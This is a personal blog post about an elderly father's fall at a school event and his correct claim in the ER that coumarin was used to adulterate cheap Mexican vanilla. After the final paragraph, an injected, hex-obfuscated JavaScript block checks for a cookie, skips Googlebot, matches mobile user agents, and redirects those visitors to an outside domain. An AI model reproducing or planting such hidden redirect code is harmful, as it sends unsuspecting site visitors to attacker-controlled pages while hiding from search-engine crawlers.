Sam-the old man and the coumarin

November 24, 2008 at 9:17 am Leave a comment

Friday my parents came up to spend the morning with Jack at Grandparents’ Day at his school. At least that was the plan. At some point the plan went awry and my 75 year old dad found himself bloodied and in the hospital emergency room.

There was no violence involved, no wild pack of bully kindergarteners who prey upon the elderly. No, this was brought on by my dad’s health condition. He has diabetes, high blood pressure, gout, five bad disks in his back and Parkinson’s. The latter has him shuffling his feet rather than normal walking. And that shuffling did him in on an uneven sidewalk surface during grandparents’ day.

I met them at the hospital emergency room. Dad’s face looked like he’d been on the losing end of a beating. His forehead had a bump swollen to larger than a golf ball and he was bleeding from the bump. His nose was also bloodied as was his lip, arms and right knee.

We passed the time by taking a picture of dad to use for Christmas cards, we considered taking a box of rubber surgical gloves for my mom to use for gardening and even wondered about the school naming the bloody sidewalk in honor of my dad (to avoid a lawsuit)

The emergency room doc finally came. He said a tetanus shot was in order as were three stitches on the bridge of the nose. Forehead stitches weren’t possible because as he put it “the forehead had been chewed up too much in the fall”. Only way to stop that blood would be Neosporin and bandages.

The doc also asked my dad if he’d been on certain meds, and he rattled off a few. For some reason my dad thought he heard the word Coumarin among those medications. He and the doc then went round and round about this: the doc saying the name of the drug that had sounded like Coumarin and of course my dad explaining Coumarin.

Dad tells the doc that he thought it would have been odd that Coumarin was a drug because it’s an ingredient that is found in bad, poisonous vanilla that is sold in Mexico.

Now to know my dad is to know he is master of the trivial and insignificant facts…much like me. He’s a walking Cliff Clavin of useless knowledge. Many times in my life he’s blurted out facts and knowledge that I have never doubted because I could never prove otherwise and many times didn’t really care that it was true or false…the kind of statements to which you reply “oh really” while shaking your head in agreement.

So at this point the doc is just patting my dad’s hand and I know he’s thinking “poor old guy got a nasty bump on the head and he’s rambling on about bad vanilla from Mexico”. I could tell the doc wanted to beat a hasty retreat from the nut room here. I mean after all, here’s a 75 year old feeble looking guy, bleeding from the face and head and shaking with Parkinson’s and going on about nasty Mexican vanilla ingredients.

Time to stop here and say I am my dad’s son and to this point in life his random facts, especially when it comes to culinary matters, have never proven to be wrong. So, having my Blackberry handy I Googled “Bad Mexican Vanilla”. I grabbed the first result and started reading. About halfway down the article explained that the pure vanilla extract from Mexico is among the finest in the world (something my dad had told me years ago), however shady dealers have been known to add an ingredient to artificial vanilla to trick unsuspecting tourists into thinking it was the top of the line stuff…sigh…here it is verbatim:

“…they disguised the artificial taste by adding coumarin, an extract of the tonka bean. Coumarin tastes and smells just like vanilla, only more so. One whiff and your rube tourist is likely to say, “Whoa, that’s good!” No, that’s bad. Coumarin has been shown to cause liver damage. The Food and Drug Administration restricted it starting in 1940 and banned it outright from all foods and food additives sold in the U.S. in 1954. Many other countries have done likewise.”

The crazy old guy was right once again. I shouldn’t have been surprised…I mean I’d heard the good vanilla/bad vanilla story from my dad a million times before. In fact, every time he goes to any part of Mexico on a cruise or other trip, he brings back a large jar of “good” vanilla. For me, the cheap Great Value vanilla extract does the trick…I’m not that much of a vanilla bean connoisseur.

Here’s where the moral of the story usually goes, but I really don’t have one. I could say “never discount the ramblings of an old guy” but I kinda knew he was right to begin with…I just had to um…double check it. I could throw in that no matter how old or feeble a person appears, the mind still works just fine. He may have trouble getting his thoughts organized and said, but I guess since I’ve been around him forever, I know what he means and what he means is usually right. Maybe that’s my moral: it took forever but after all these years I finally realized what I knew all along…dad was right.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Entry filed under: Sam.

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